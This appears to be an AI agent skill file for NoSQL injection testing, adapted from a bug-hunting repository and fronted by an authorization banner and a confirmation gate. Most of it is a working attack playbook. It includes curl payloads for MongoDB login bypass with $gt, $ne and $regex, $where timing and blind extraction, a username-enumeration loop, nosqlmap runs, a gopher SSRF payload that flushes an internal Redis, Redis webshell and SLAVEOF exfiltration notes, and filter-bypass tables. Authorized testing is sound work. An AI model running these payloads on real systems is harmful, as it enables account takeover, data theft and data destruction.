⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
Highest-value chains:
{"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
| Signal | Vector |
|---|---|
| MongoDB error messages in response | Operator injection |
| mongoose / monk in JS bundles | ODM patterns |
| X-Powered-By: Express | Node.js + MongoDB common stack |
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 open | Script injection |
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
# in array bypass
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
# POST form data
curl "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed
# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
$where/query (string context)When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:
fuzz: ' " ` { ; $ # any 500/behaviour change = syntax reaches the query
' || '1'=='1 # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y # boolean char-exfil oracle
(PortSwigger: Injecting syntax into NoSQL queries.)
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
RESP=$(curl -s -X POST https://$TARGET/api/users \
-H "Content-Type: application/json" \
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
echo "$c: $(echo $RESP | wc -c)"
done
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1
# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil
| Defense | Bypass |
|---|---|
| JSON.parse rejects objects | Use array: password[$ne]=x (URL params) |
Sanitizes $ |
Unicode: $gt |
| Blocks operator keys | Nested objects deeper in structure |
| NoSQLi finding | Chain to | Impact |
|---|---|---|
| Auth bypass | Admin panel access | Full admin control |
| User enum via regex | Credential stuffing | Mass ATO |
| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |
| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |
✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)
Severity:
triage-validation) before reporting; report via report-writing. Prefer a sandbox, disposable VM, or controlled lab.# Read-only first step; confirm scope before anything active.
cat scope.txt # target list from the authorized engagement brief
Adapted from elementalsouls/Claude-BugHunter (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.